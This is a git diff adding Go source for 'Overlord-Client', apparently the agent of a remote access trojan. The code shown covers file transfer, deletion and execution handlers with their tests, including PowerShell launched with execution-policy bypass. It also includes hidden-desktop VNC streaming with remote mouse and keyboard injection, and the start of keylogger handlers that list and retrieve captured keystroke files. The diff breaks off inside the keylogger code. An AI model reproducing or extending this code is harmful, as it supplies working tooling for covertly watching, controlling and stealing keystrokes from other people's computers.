+ if err := HandleFileDownload(ctx, env, cmdID, testFile); err != nil {
+ t.Fatalf("HandleFileDownload failed: %v", err)
+ }
+
+ if len(writer.msgs) == 0 {
+ t.Fatal("Expected at least 1 message")
+ }
+
+ var download wire.FileDownload
+ if err := msgpack.Unmarshal(writer.msgs[0], &download); err != nil {
+ t.Fatalf("Failed to unmarshal download message: %v", err)
+ }
+
+ if download.Type != "file_download" {
+ t.Errorf("Expected type 'file_download', got '%s'", download.Type)
+ }
+ if download.CommandID != cmdID {
+ t.Errorf("Expected CommandID '%s', got '%s'", cmdID, download.CommandID)
+ }
+ if download.Total != int64(len(testContent)) {
+ t.Errorf("Expected total size %d, got %d", len(testContent), download.Total)
+ }
+
+ var assembled []byte
+ for _, msg := range writer.msgs {
+ var chunk wire.FileDownload
+ if err := msgpack.Unmarshal(msg, &chunk); err != nil {
+ t.Fatalf("Failed to unmarshal chunk: %v", err)
+ }
+ assembled = append(assembled, chunk.Data...)
+ }
+
+ if string(assembled) != string(testContent) {
+ t.Errorf("Downloaded content mismatch:\ngot: %s\nwant: %s", string(assembled), string(testContent))
+ }
+}
+
+func TestHandleFileDelete(t *testing.T) {
+
+ tmpDir := t.TempDir()
+ testFile := filepath.Join(tmpDir, "delete_test.txt")
+
+ if err := os.WriteFile(testFile, []byte("delete me"), 0644); err != nil {
+ t.Fatalf("Failed to create test file: %v", err)
+ }
+
+ writer := &testWriter{}
+ env := &rt.Env{
+ Conn: writer,
+ Cfg: config.Config{},
+ }
+
+ ctx := context.Background()
+ cmdID := "test-cmd-4"
+
+ if err := HandleFileDelete(ctx, env, cmdID, testFile); err != nil {
+ t.Fatalf("HandleFileDelete failed: %v", err)
+ }
+
+ if _, err := os.Stat(testFile); !os.IsNotExist(err) {
+ t.Error("File should have been deleted")
+ }
+
+ if len(writer.msgs) != 1 {
+ t.Fatalf("Expected 1 message, got %d", len(writer.msgs))
+ }
+
+ var result wire.CommandResult
+ if err := msgpack.Unmarshal(writer.msgs[0], &result); err != nil {
+ t.Fatalf("Failed to unmarshal result: %v", err)
+ }
+
+ if !result.OK {
+ t.Errorf("Expected OK=true, got false with message: %s", result.Message)
+ }
+}
+
+func TestHandleFileMkdir(t *testing.T) {
+ tmpDir := t.TempDir()
+ newDir := filepath.Join(tmpDir, "newdir")
+
+ writer := &testWriter{}
+ env := &rt.Env{
+ Conn: writer,
+ Cfg: config.Config{},
+ }
+
+ ctx := context.Background()
+ cmdID := "test-cmd-5"
+
+ if err := HandleFileMkdir(ctx, env, cmdID, newDir); err != nil {
+ t.Fatalf("HandleFileMkdir failed: %v", err)
+ }
+
+ info, err := os.Stat(newDir)
+ if err != nil {
+ t.Fatalf("Directory should have been created: %v", err)
+ }
+ if !info.IsDir() {
+ t.Error("Created path should be a directory")
+ }
+
+ if len(writer.msgs) != 1 {
+ t.Fatalf("Expected 1 message, got %d", len(writer.msgs))
+ }
+
+ var result wire.CommandResult
+ if err := msgpack.Unmarshal(writer.msgs[0], &result); err != nil {
+ t.Fatalf("Failed to unmarshal result: %v", err)
+ }
+
+ if !result.OK {
+ t.Errorf("Expected OK=true, got false with message: %s", result.Message)
+ }
+}
+
+func TestHandleFileUpload(t *testing.T) {
+ tmpDir := t.TempDir()
+ uploadPath := filepath.Join(tmpDir, "uploaded.txt")
+ uploadContent := []byte("This is uploaded content")
+
+ writer := &testWriter{}
+ env := &rt.Env{
+ Conn: writer,
+ Cfg: config.Config{},
+ }
+
+ ctx := context.Background()
+ cmdID := "test-cmd-6"
+
+ if err := HandleFileUpload(ctx, env, cmdID, uploadPath, uploadContent, 0, int64(len(uploadContent)), "test-transfer"); err != nil {
+ t.Fatalf("HandleFileUpload failed: %v", err)
+ }
+
+ content, err := os.ReadFile(uploadPath)
+ if err != nil {
+ t.Fatalf("Failed to read uploaded file: %v", err)
+ }
+
+ if string(content) != string(uploadContent) {
+ t.Errorf("Upload content mismatch:\ngot: %s\nwant: %s", string(content), string(uploadContent))
+ }
+
+ if len(writer.msgs) != 1 {
+ t.Fatalf("Expected 1 message, got %d", len(writer.msgs))
+ }
+
+ var result wire.FileUploadResult
+ if err := msgpack.Unmarshal(writer.msgs[0], &result); err != nil {
+ t.Fatalf("Failed to unmarshal result: %v", err)
+ }
+
+ if !result.OK {
+ t.Errorf("Expected OK=true, got false with error: %s", result.Error)
+ }
+}
+
+func TestHandleFileDownload_Chunked(t *testing.T) {
+ tmpDir := t.TempDir()
+ filePath := filepath.Join(tmpDir, "chunked.bin")
+ data := bytes.Repeat([]byte("a"), maxChunkSize*2+123)
+
+ if err := os.WriteFile(filePath, data, 0644); err != nil {
+ t.Fatalf("Failed to create test file: %v", err)
+ }
+
+ writer := &testWriter{}
+ env := &rt.Env{Conn: writer, Cfg: config.Config{}}
+ ctx := context.Background()
+
+ if err := HandleFileDownload(ctx, env, "cmd-chunked-dl", filePath); err != nil {
+ t.Fatalf("HandleFileDownload failed: %v", err)
+ }
+
+ if len(writer.msgs) < 2 {
+ t.Fatalf("Expected multiple chunks, got %d", len(writer.msgs))
+ }
+
+ var assembled []byte
+ var chunksTotal int
+ for _, msg := range writer.msgs {
+ var chunk wire.FileDownload
+ if err := msgpack.Unmarshal(msg, &chunk); err != nil {
+ t.Fatalf("Failed to unmarshal chunk: %v", err)
+ }
+ assembled = append(assembled, chunk.Data...)
+ chunksTotal = chunk.ChunksTotal
+ if chunk.Total != int64(len(data)) {
+ t.Fatalf("Expected total %d, got %d", len(data), chunk.Total)
+ }
+ }
+
+ if chunksTotal < 2 {
+ t.Fatalf("Expected chunksTotal >= 2, got %d", chunksTotal)
+ }
+ if !bytes.Equal(assembled, data) {
+ t.Fatalf("Downloaded content mismatch")
+ }
+}
+
+func TestHandleFileUpload_Chunked(t *testing.T) {
+ tmpDir := t.TempDir()
+ uploadPath := filepath.Join(tmpDir, "uploaded.bin")
+ data := bytes.Repeat([]byte("b"), maxChunkSize*2+77)
+
+ writer := &testWriter{}
+ env := &rt.Env{Conn: writer, Cfg: config.Config{}}
+ ctx := context.Background()
+ cmdID := "cmd-chunked-ul"
+ transferID := "transfer-123"
+
+ chunks := [][]byte{
+ data[:maxChunkSize],
+ data[maxChunkSize : maxChunkSize*2],
+ data[maxChunkSize*2:],
+ }
+
+ offset := int64(0)
+ for _, chunk := range chunks {
+ if err := HandleFileUpload(ctx, env, cmdID, uploadPath, chunk, offset, int64(len(data)), transferID); err != nil {
+ t.Fatalf("HandleFileUpload failed: %v", err)
+ }
+ offset += int64(len(chunk))
+ }
+
+ content, err := os.ReadFile(uploadPath)
+ if err != nil {
+ t.Fatalf("Failed to read uploaded file: %v", err)
+ }
+ if !bytes.Equal(content, data) {
+ t.Fatalf("Uploaded content mismatch")
+ }
+
+ if len(writer.msgs) != len(chunks) {
+ t.Fatalf("Expected %d messages, got %d", len(chunks), len(writer.msgs))
+ }
+}
+
+func TestHandleFileUpload_InvalidChunk(t *testing.T) {
+ tmpDir := t.TempDir()
+ uploadPath := filepath.Join(tmpDir, "bad.bin")
+
+ writer := &testWriter{}
+ env := &rt.Env{Conn: writer, Cfg: config.Config{}}
+ ctx := context.Background()
+
+ if err := HandleFileUpload(ctx, env, "cmd-bad", uploadPath, []byte("bad"), 5, 4, "bad-transfer"); err != nil {
+ t.Fatalf("HandleFileUpload failed: %v", err)
+ }
+
+ if len(writer.msgs) != 1 {
+ t.Fatalf("Expected 1 message, got %d", len(writer.msgs))
+ }
+
+ var result wire.FileUploadResult
+ if err := msgpack.Unmarshal(writer.msgs[0], &result); err != nil {
+ t.Fatalf("Failed to unmarshal result: %v", err)
+ }
+ if result.OK {
+ t.Fatalf("Expected OK=false for invalid chunk")
+ }
+}
+
+func TestHandleFileZip(t *testing.T) {
+
+ tmpDir := t.TempDir()
+ sourceDir := filepath.Join(tmpDir, "source")
+
+ if err := os.Mkdir(sourceDir, 0755); err != nil {
+ t.Fatalf("Failed to create source dir: %v", err)
+ }
+
+ testFile := filepath.Join(sourceDir, "test.txt")
+ if err := os.WriteFile(testFile, []byte("zip me"), 0644); err != nil {
+ t.Fatalf("Failed to create test file: %v", err)
+ }
+
+ writer := &testWriter{}
+ env := &rt.Env{
+ Conn: writer,
+ Cfg: config.Config{},
+ }
+
+ ctx := context.Background()
+ cmdID := "test-cmd-7"
+
+ if err := HandleFileZip(ctx, env, cmdID, sourceDir); err != nil {
+ t.Fatalf("HandleFileZip failed: %v", err)
+ }
+
+ if len(writer.msgs) == 0 {
+ t.Fatal("Expected at least 1 message")
+ }
+
+ hasResult := false
+ hasDownload := false
+
+ for _, msg := range writer.msgs {
+ var testMsg map[string]interface{}
+ if err := msgpack.Unmarshal(msg, &testMsg); err == nil {
+ msgType, _ := testMsg["type"].(string)
+ if msgType == "command_result" {
+ hasResult = true
+ }
+ if msgType == "file_download" {
+ hasDownload = true
+ }
+ }
+ }
+
+ t.Logf("Has command_result: %v, has file_download: %v", hasResult, hasDownload)
+
+ if !hasResult && !hasDownload {
+ t.Error("Expected either command_result or file_download message")
+ }
+}
diff --git a/Overlord-Client/cmd/agent/handlers/files_unix.go b/Overlord-Client/cmd/agent/handlers/files_unix.go
new file mode 100644
index 0000000..fabd010
--- /dev/null
+++ b/Overlord-Client/cmd/agent/handlers/files_unix.go
@@ -0,0 +1,104 @@
+//go:build !windows
+// +build !windows
+
+package handlers
+
+import (
+ "fmt"
+ "os"
+ "os/exec"
+ "os/user"
+ "strconv"
+ "strings"
+ "syscall"
+
+ "overlord-client/cmd/agent/wire"
+)
+
+func getFilePermissions(info os.FileInfo) (mode, owner, group string) {
+
+ mode = fmt.Sprintf("%04o", info.Mode().Perm())
+
+ if stat, ok := info.Sys().(*syscall.Stat_t); ok {
+
+ if u, err := user.LookupId(strconv.Itoa(int(stat.Uid))); err == nil {
+ owner = u.Username
+ } else {
+ owner = strconv.Itoa(int(stat.Uid))
+ }
+
+ if g, err := user.LookupGroupId(strconv.Itoa(int(stat.Gid))); err == nil {
+ group = g.Name
+ } else {
+ group = strconv.Itoa(int(stat.Gid))
+ }
+ }
+
+ return
+}
+
+func enrichFileEntry(entry *wire.FileEntry, info os.FileInfo) {
+ mode, owner, group := getFilePermissions(info)
+ entry.Mode = mode
+ entry.Owner = owner
+ entry.Group = group
+}
+
+func ChangeFilePermissions(path string, mode string) error {
+
+ var modeVal uint32
+ _, err := fmt.Sscanf(mode, "%o", &modeVal)
+ if err != nil {
+ return fmt.Errorf("invalid mode format: %v", err)
+ }
+
+ return os.Chmod(path, os.FileMode(modeVal))
+}
+
+func ExecuteFile(path string) error {
+ ext := ""
+ if idx := strings.LastIndex(path, "."); idx != -1 {
+ ext = path[idx:]
+ }
+
+ info, err := os.Stat(path)
+ if err != nil {
+ return fmt.Errorf("file not found: %s", path)
+ }
+
+ switch ext {
+ case ".sh", ".bash":
+
+ return execCommand("bash", path)
+ case ".py":
+
+ return execCommand("python3", path)
+ case ".rb":
+
+ return execCommand("ruby", path)
+ case ".js":
+
+ return execCommand("node", path)
+ case ".pl":
+
+ return execCommand("perl", path)
+ case "":
+
+ if info.Mode()&0111 != 0 {
+ return execCommand(path)
+ }
+ return fmt.Errorf("file is not executable")
+ default:
+
+ if info.Mode()&0111 != 0 {
+ return execCommand(path)
+ }
+ return fmt.Errorf("unsupported file type: %s", ext)
+ }
+}
+
+func execCommand(name string, args ...string) error {
+ cmd := exec.Command(name, args...)
+
+ return cmd.Start()
+}
diff --git a/Overlord-Client/cmd/agent/handlers/files_windows.go b/Overlord-Client/cmd/agent/handlers/files_windows.go
new file mode 100644
index 0000000..b774faf
--- /dev/null
+++ b/Overlord-Client/cmd/agent/handlers/files_windows.go
@@ -0,0 +1,71 @@
+//go:build windows
+// +build windows
+
+package handlers
+
+import (
+ "fmt"
+ "os"
+ "os/exec"
+
+ "overlord-client/cmd/agent/wire"
+)
+
+func enrichFileEntry(entry *wire.FileEntry, info os.FileInfo) {
+
+}
+
+func ChangeFilePermissions(path string, mode string) error {
+ return fmt.Errorf("chmod not supported on Windows")
+}
+
+func ExecuteFile(path string) error {
+
+ ext := ""
+ lastDot := -1
+ for i := len(path) - 1; i >= 0; i-- {
+ if path[i] == '.' {
+ lastDot = i
+ break
+ }
+ if path[i] == '/' || path[i] == '\\' {
+ break
+ }
+ }
+ if lastDot >= 0 {
+ ext = path[lastDot:]
+ }
+
+ if _, err := os.Stat(path); err != nil {
+ return fmt.Errorf("file not found: %s", path)
+ }
+
+ switch ext {
+ case ".exe", ".com":
+
+ return execCommand(path)
+ case ".bat", ".cmd":
+
+ return execCommand("cmd.exe", "/c", path)
+ case ".ps1":
+
+ return execCommand("powershell.exe", "-ExecutionPolicy", "Bypass", "-File", path)
+ case ".vbs":
+
+ return execCommand("wscript.exe", path)
+ case ".py":
+
+ return execCommand("python", path)
+ case ".js":
+
+ return execCommand("node", path)
+ default:
+ return fmt.Errorf("unsupported file type: %s", ext)
+ }
+}
+
+func execCommand(name string, args ...string) error {
+ cmd := exec.Command(name, args...)
+
+ return cmd.Start()
+}
diff --git a/Overlord-Client/cmd/agent/handlers/hello_ack.go b/Overlord-Client/cmd/agent/handlers/hello_ack.go
new file mode 100644
index 0000000..3cd6a5b
--- /dev/null
+++ b/Overlord-Client/cmd/agent/handlers/hello_ack.go
@@ -0,0 +1,44 @@
+package handlers
+
+import (
+ "context"
+ "log"
+ "strings"
+
+ "overlord-client/cmd/agent/runtime"
+)
+
+func HandleHelloAck(_ context.Context, env *runtime.Env, envelope map[string]interface{}) error {
+ log.Printf("hello ack received")
+ if env == nil || envelope == nil {
+ return nil
+ }
+
+ var keywords []string
+ minInterval := 0
+
+ if raw, ok := envelope["notification"].(map[string]interface{}); ok {
+ if rawKeywords, ok := raw["keywords"].([]interface{}); ok {
+ for _, v := range rawKeywords {
+ if s, ok := v.(string); ok {
+ s = strings.TrimSpace(s)
+ if s != "" {
+ keywords = append(keywords, s)
+ }
+ }
+ }
+ }
+ if v, ok := raw["minIntervalMs"].(float64); ok {
+ minInterval = int(v)
+ }
+ if v, ok := raw["minIntervalMs"].(int); ok {
+ minInterval = v
+ }
+ }
+
+ if len(keywords) > 0 || minInterval > 0 {
+ env.SetNotificationConfig(keywords, minInterval)
+ log.Printf("hello ack: loaded %d notification keywords", len(keywords))
+ }
+ return nil
+}
diff --git a/Overlord-Client/cmd/agent/handlers/hvnc.go b/Overlord-Client/cmd/agent/handlers/hvnc.go
new file mode 100644
index 0000000..403f469
--- /dev/null
+++ b/Overlord-Client/cmd/agent/handlers/hvnc.go
@@ -0,0 +1,90 @@
+package handlers
+
+import (
+ "context"
+ "log"
+ "overlord-client/cmd/agent/capture"
+ rt "overlord-client/cmd/agent/runtime"
+ "sync"
+ "time"
+)
+
+var (
+ hvncPersistedDisplayValue int
+ hvncPersistedDisplayMu sync.Mutex
+)
+
+func persistHVNCDisplaySelection(display int) {
+ hvncPersistedDisplayMu.Lock()
+ hvncPersistedDisplayValue = display
+ hvncPersistedDisplayMu.Unlock()
+}
+
+func GetPersistedHVNCDisplay() int {
+ hvncPersistedDisplayMu.Lock()
+ defer hvncPersistedDisplayMu.Unlock()
+ return hvncPersistedDisplayValue
+}
+
+func HVNCStart(ctx context.Context, env *rt.Env) error {
+ interval, fps := streamInterval("OVERLORD_HVNC_MAX_FPS", 30)
+ log.Printf("hvnc: starting stream (max fps %d)", fps)
+
+ if err := capture.InitializeHVNCDesktop(); err != nil {
+ log.Printf("hvnc: failed to initialize hidden desktop: %v", err)
+ return err
+ }
+
+ ticker := time.NewTicker(interval)
+ defer ticker.Stop()
+ for {
+ select {
+ case <-ctx.Done():
+ log.Printf("hvnc: stopping stream")
+ capture.CleanupHVNCDesktop()
+ return nil
+ case <-ticker.C:
+ if err := capture.NowHVNC(ctx, env); err != nil {
+ if ctx.Err() != nil {
+ log.Printf("hvnc: stopping stream")
+ capture.CleanupHVNCDesktop()
+ return nil
+ }
+ log.Printf("hvnc: capture error: %v", err)
+ }
+ }
+ }
+}
+
+func HVNCSelect(ctx context.Context, env *rt.Env, display int) error {
+ prev := env.HVNCSelectedDisplay
+ maxDisplays := capture.HVNCMonitorCount()
+ if display < 0 || display >= maxDisplays {
+ log.Printf("hvnc: WARNING - requested display %d out of range (0-%d), clamping to 0", display, maxDisplays-1)
+ display = 0
+ }
+ env.HVNCSelectedDisplay = display
+
+ persistHVNCDisplaySelection(display)
+ log.Printf("hvnc: set selected display from %d to %d (reported monitors=%d, will capture monitor at index %d)", prev, display, maxDisplays, display)
+ return nil
+}
+
+func HVNCMouseControl(ctx context.Context, env *rt.Env, enabled bool) error {
+ env.HVNCMouseControl = enabled
+ log.Printf("hvnc: mouse control %v", enabled)
+ return nil
+}
+
+func HVNCKeyboardControl(ctx context.Context, env *rt.Env, enabled bool) error {
+ env.HVNCKeyboardControl = enabled
+ log.Printf("hvnc: keyboard control %v", enabled)
+ return nil
+}
+
+func HVNCCursorControl(ctx context.Context, env *rt.Env, enabled bool) error {
+ env.HVNCCursorCapture = enabled
+ capture.SetHVNCCursorCapture(enabled)
+ log.Printf("hvnc: cursor capture %v", enabled)
+ return nil
+}
diff --git a/Overlord-Client/cmd/agent/handlers/hvnc_input_stub.go b/Overlord-Client/cmd/agent/handlers/hvnc_input_stub.go
new file mode 100644
index 0000000..95ab5bf
--- /dev/null
+++ b/Overlord-Client/cmd/agent/handlers/hvnc_input_stub.go
@@ -0,0 +1,10 @@
+//go:build !windows
+
+package handlers
+
+func setCursorPosHVNC(x, y int32) {}
+func sendMouseDownHVNC(button int) {}
+func sendMouseUpHVNC(button int) {}
+func sendKeyDownHVNC(vk uint16) {}
+func sendKeyUpHVNC(vk uint16) {}
+func keyCodeToVKHVNC(code string) uint16 { return 0 }
diff --git a/Overlord-Client/cmd/agent/handlers/hvnc_input_windows.go b/Overlord-Client/cmd/agent/handlers/hvnc_input_windows.go
new file mode 100644
index 0000000..51b9a13
--- /dev/null
+++ b/Overlord-Client/cmd/agent/handlers/hvnc_input_windows.go
@@ -0,0 +1,7 @@
+//go:build windows
+
+package handlers
+
+func keyCodeToVKHVNC(code string) uint16 {
+ return keyCodeToVK(code)
+}
diff --git a/Overlord-Client/cmd/agent/handlers/input_stub.go b/Overlord-Client/cmd/agent/handlers/input_stub.go
new file mode 100644
index 0000000..3d6eef5
--- /dev/null
+++ b/Overlord-Client/cmd/agent/handlers/input_stub.go
@@ -0,0 +1,11 @@
+//go:build !windows
+
+package handlers
+
+func setCursorPos(x, y int32) {}
+func sendMouseDown(button int) {}
+func sendMouseUp(button int) {}
+func sendKeyDown(vk uint16) {}
+func sendKeyUp(vk uint16) {}
+func sendTextInput(text string) {}
+func keyCodeToVK(code string) uint16 { return 0 }
diff --git a/Overlord-Client/cmd/agent/handlers/input_windows.go b/Overlord-Client/cmd/agent/handlers/input_windows.go
new file mode 100644
index 0000000..e247987
--- /dev/null
+++ b/Overlord-Client/cmd/agent/handlers/input_windows.go
@@ -0,0 +1,282 @@
+//go:build windows
+
+package handlers
+
+import (
+ "syscall"
+ "unsafe"
+)
+
+var (
+ user32 = syscall.NewLazyDLL("user32.dll")
+ procSetCursorPos = user32.NewProc("SetCursorPos")
+ procSendInput = user32.NewProc("SendInput")
+ procMapVirtualKeyW = user32.NewProc("MapVirtualKeyW")
+ procGetSystemMetrics = user32.NewProc("GetSystemMetrics")
+)
+
+const (
+ MOUSEEVENTF_MOVE = 0x0001
+ MOUSEEVENTF_LEFTDOWN = 0x0002
+ MOUSEEVENTF_LEFTUP = 0x0004
+ MOUSEEVENTF_RIGHTDOWN = 0x0008
+ MOUSEEVENTF_RIGHTUP = 0x0010
+ MOUSEEVENTF_MIDDLEDOWN = 0x0020
+ MOUSEEVENTF_MIDDLEUP = 0x0040
+ MOUSEEVENTF_ABSOLUTE = 0x8000
+ MOUSEEVENTF_VIRTUALDESK = 0x4000
+
+ INPUT_MOUSE = 0
+ INPUT_KEYBOARD = 1
+
+ KEYEVENTF_EXTENDEDKEY = 0x0001
+ KEYEVENTF_KEYUP = 0x0002
+ KEYEVENTF_UNICODE = 0x0004
+ KEYEVENTF_SCANCODE = 0x0008
+
+ SM_XVIRTUALSCREEN = 76
+ SM_YVIRTUALSCREEN = 77
+ SM_CXVIRTUALSCREEN = 78
+ SM_CYVIRTUALSCREEN = 79
+)
+
+type mouseInput struct {
+ dx int32
+ dy int32
+ mouseData uint32
+ dwFlags uint32
+ time uint32
+ dwExtraInfo uintptr
+}
+
+type keybdInput struct {
+ wVk uint16
+ wScan uint16
+ dwFlags uint32
+ time uint32
+ dwExtraInfo uintptr
+}
+
+type hardwareInput struct {
+ uMsg uint32
+ wParamL uint16
+ wParamH uint16
+}
+
+type input struct {
+ inputType uint32
+ _ uint32
+ union [32]byte
+}
+
+func setCursorPos(x, y int32) {
+ if !sendMouseMoveAbsolute(x, y) {
+ _, _, _ = procSetCursorPos.Call(uintptr(x), uintptr(y))
+ }
+}
+
+func sendMouseDown(button int) {
+ switch button {
+ case 0:
+ sendMouseInput(MOUSEEVENTF_LEFTDOWN, 0)
+ case 2:
+ sendMouseInput(MOUSEEVENTF_RIGHTDOWN, 0)
+ case 1:
+ sendMouseInput(MOUSEEVENTF_MIDDLEDOWN, 0)
+ }
+}
+
+func sendMouseUp(button int) {
+ switch button {
+ case 0:
+ sendMouseInput(MOUSEEVENTF_LEFTUP, 0)
+ case 2:
+ sendMouseInput(MOUSEEVENTF_RIGHTUP, 0)
+ case 1:
+ sendMouseInput(MOUSEEVENTF_MIDDLEUP, 0)
+ }
+}
+
+func sendMouseInput(flags uint32, mouseData uint32) {
+ var inp input
+ inp.inputType = INPUT_MOUSE
+ mi := (*mouseInput)(unsafe.Pointer(&inp.union[0]))
+ mi.dx = 0
+ mi.dy = 0
+ mi.mouseData = mouseData
+ mi.dwFlags = flags
+ mi.time = 0
+ mi.dwExtraInfo = 0
+ _, _, _ = procSendInput.Call(1, uintptr(unsafe.Pointer(&inp)), unsafe.Sizeof(inp))
+}
+
+func sendMouseMoveAbsolute(x, y int32) bool {
+ left := getSystemMetrics(SM_XVIRTUALSCREEN)
+ top := getSystemMetrics(SM_YVIRTUALSCREEN)
+ width := getSystemMetrics(SM_CXVIRTUALSCREEN)
+ height := getSystemMetrics(SM_CYVIRTUALSCREEN)
+ if width <= 1 || height <= 1 {
+ return false
+ }
+
+ const maxCoord = 65535
+ relX := int64(x) - int64(left)
+ relY := int64(y) - int64(top)
+ if relX < 0 {
+ relX = 0
+ }
+ if relY < 0 {
+ relY = 0
+ }
+ if relX > int64(width-1) {
+ relX = int64(width - 1)
+ }
+ if relY > int64(height-1) {
+ relY = int64(height - 1)
+ }
+
+ normX := int32(relX * maxCoord / int64(width-1))
+ normY := int32(relY * maxCoord / int64(height-1))
+
+ var inp input
+ inp.inputType = INPUT_MOUSE
+ mi := (*mouseInput)(unsafe.Pointer(&inp.union[0]))
+ mi.dx = normX
+ mi.dy = normY
+ mi.mouseData = 0
+ mi.dwFlags = MOUSEEVENTF_MOVE | MOUSEEVENTF_ABSOLUTE | MOUSEEVENTF_VIRTUALDESK
+ mi.time = 0
+ mi.dwExtraInfo = 0
+ r, _, _ := procSendInput.Call(1, uintptr(unsafe.Pointer(&inp)), unsafe.Sizeof(inp))
+ return r != 0
+}
+
+func getSystemMetrics(index int32) int32 {
+ r, _, _ := procGetSystemMetrics.Call(uintptr(index))
+ return int32(r)
+}
+
+func sendKeyDown(vk uint16) {
+ sendKeyInput(vk, false)
+}
+
+func sendKeyUp(vk uint16) {
+ sendKeyInput(vk, true)
+}
+
+func sendKeyInput(vk uint16, keyUp bool) {
+ var inp input
+ inp.inputType = INPUT_KEYBOARD
+ ki := (*keybdInput)(unsafe.Pointer(&inp.union[0]))
+ ki.wVk = vk
+ ki.wScan = uint16(mapVirtualKey(vk))
+ flags := uint32(0)
+ if keyUp {
+ flags |= KEYEVENTF_KEYUP
+ }
+ if isExtendedKey(vk) {
+ flags |= KEYEVENTF_EXTENDEDKEY
+ }
+ ki.dwFlags = flags
+ ki.time = 0
+ ki.dwExtraInfo = 0
+ _, _, _ = procSendInput.Call(1, uintptr(unsafe.Pointer(&inp)), unsafe.Sizeof(inp))
+}
+
+func isExtendedKey(vk uint16) bool {
+ switch vk {
+ case 0xA3, // VK_RCONTROL
+ 0xA5, // VK_RMENU
+ 0x21, // VK_PRIOR
+ 0x22, // VK_NEXT
+ 0x23, // VK_END
+ 0x24, // VK_HOME
+ 0x25, // VK_LEFT
+ 0x26, // VK_UP
+ 0x27, // VK_RIGHT
+ 0x28, // VK_DOWN
+ 0x2D, // VK_INSERT
+ 0x2E, // VK_DELETE
+ 0x6F, // VK_DIVIDE
+ 0x90: // VK_NUMLOCK
+ return true
+ default:
+ return false
+ }
+}
+
+func mapVirtualKey(vk uint16) uint32 {
+ ret, _, _ := procMapVirtualKeyW.Call(uintptr(vk), 0)
+ return uint32(ret)
+}
+
+func sendTextInput(text string) {
+ for _, r := range text {
+ switch r {
+ case '\r', '\n':
+ sendKeyDown(0x0D)
+ sendKeyUp(0x0D)
+ case '\t':
+ sendKeyDown(0x09)
+ sendKeyUp(0x09)
+ case '\b':
+ sendKeyDown(0x08)
+ sendKeyUp(0x08)
+ default:
+ sendUnicodeRune(r)
+ }
+ }
+}
+
+func sendUnicodeRune(r rune) {
+ var inp input
+ inp.inputType = INPUT_KEYBOARD
+ ki := (*keybdInput)(unsafe.Pointer(&inp.union[0]))
+ ki.wVk = 0
+ ki.wScan = uint16(r)
+ ki.dwFlags = KEYEVENTF_UNICODE
+ _, _, _ = procSendInput.Call(1, uintptr(unsafe.Pointer(&inp)), unsafe.Sizeof(inp))
+
+ var inpUp input
+ inpUp.inputType = INPUT_KEYBOARD
+ kiUp := (*keybdInput)(unsafe.Pointer(&inpUp.union[0]))
+ kiUp.wVk = 0
+ kiUp.wScan = uint16(r)
+ kiUp.dwFlags = KEYEVENTF_UNICODE | KEYEVENTF_KEYUP
+ _, _, _ = procSendInput.Call(1, uintptr(unsafe.Pointer(&inpUp)), unsafe.Sizeof(inpUp))
+}
+
+func keyCodeToVK(code string) uint16 {
+ vkMap := map[string]uint16{
+ "KeyA": 0x41, "KeyB": 0x42, "KeyC": 0x43, "KeyD": 0x44, "KeyE": 0x45,
+ "KeyF": 0x46, "KeyG": 0x47, "KeyH": 0x48, "KeyI": 0x49, "KeyJ": 0x4A,
+ "KeyK": 0x4B, "KeyL": 0x4C, "KeyM": 0x4D, "KeyN": 0x4E, "KeyO": 0x4F,
+ "KeyP": 0x50, "KeyQ": 0x51, "KeyR": 0x52, "KeyS": 0x53, "KeyT": 0x54,
+ "KeyU": 0x55, "KeyV": 0x56, "KeyW": 0x57, "KeyX": 0x58, "KeyY": 0x59, "KeyZ": 0x5A,
+ "Digit0": 0x30, "Digit1": 0x31, "Digit2": 0x32, "Digit3": 0x33, "Digit4": 0x34,
+ "Digit5": 0x35, "Digit6": 0x36, "Digit7": 0x37, "Digit8": 0x38, "Digit9": 0x39,
+ "Enter": 0x0D, "Space": 0x20, "Backspace": 0x08, "Tab": 0x09, "Escape": 0x1B,
+ "ShiftLeft": 0xA0, "ShiftRight": 0xA1, "ControlLeft": 0xA2, "ControlRight": 0xA3,
+ "AltLeft": 0xA4, "AltRight": 0xA5, "MetaLeft": 0x5B, "MetaRight": 0x5C,
+ "ArrowLeft": 0x25, "ArrowUp": 0x26, "ArrowRight": 0x27, "ArrowDown": 0x28,
+ "Delete": 0x2E, "Home": 0x24, "End": 0x23, "PageUp": 0x21, "PageDown": 0x22,
+ "F1": 0x70, "F2": 0x71, "F3": 0x72, "F4": 0x73, "F5": 0x74, "F6": 0x75,
+ "F7": 0x76, "F8": 0x77, "F9": 0x78, "F10": 0x79, "F11": 0x7A, "F12": 0x7B,
+ "Slash": 0xBF,
+ "Backquote": 0xC0,
+ "Minus": 0xBD,
+ "Equal": 0xBB,
+ "BracketLeft": 0xDB,
+ "BracketRight": 0xDD,
+ "Backslash": 0xDC,
+ "IntlBackslash": 0xDC,
+ "Semicolon": 0xBA,
+ "Quote": 0xDE,
+ "Comma": 0xBC,
+ "Period": 0xBE,
+ }
+ if vk, ok := vkMap[code]; ok {
+ return vk
+ }
+ return 0
+}
diff --git a/Overlord-Client/cmd/agent/handlers/keylogger.go b/Overlord-Client/cmd/agent/handlers/keylogger.go
new file mode 100644
index 0000000..0d7f241
--- /dev/null
+++ b/Overlord-Client/cmd/agent/handlers/keylogger.go
@@ -0,0 +1,193 @@
+package handlers
+
+import (
+ "context"
+ "encoding/base64"
+ "log"
+
+ "overlord-client/cmd/agent/runtime"
+ "overlord-client/cmd/agent/wire"
+)
+
+const MaxChunkSize = 256 * 1024
+
+func HandleKeylogList(ctx context.Context, env *runtime.Env, cmdID string) error {
+ if env.Keylogger == nil {
+ return wire.WriteMsg(ctx, env.Conn, map[string]interface{}{
+ "type": "command_result",
+ "commandId": cmdID,
+ "ok": false,
+ "message": "Keylogger not initialized",
+ })
+ }
+
+ env.Keylogger.FlushNow()
+
+ files, err := env.Keylogger.ListFiles()
+ if err != nil {
+ log.Printf("[keylogger] list error: %v", err)
+ return wire.WriteMsg(ctx, env.Conn, map[string]interface{}{
+ "type": "command_result",
+ "commandId": cmdID,
+ "ok": false,
+ "message": err.Error(),
+ })
+ }
+
+ fileInfos := make([]map[string]interface{}, len(files))
+ for i, f := range files {
+ fileInfos[i] = map[string]interface{}{
+ "name": f.Name,
+ "size": f.Size,
+ "date": f.Date.Format("2006-01-02T15:04:05Z07:00"),
+ }
+ }
+
+ return wire.WriteMsg(ctx, env.Conn, map[string]interface{}{
+ "type": "keylog_file_list",
+ "files": fileInfos,
+ })
+}
+
+func HandleKeylogRetrieve(ctx context.Context, env *runtime.Env, cmdID string, filename string) error {
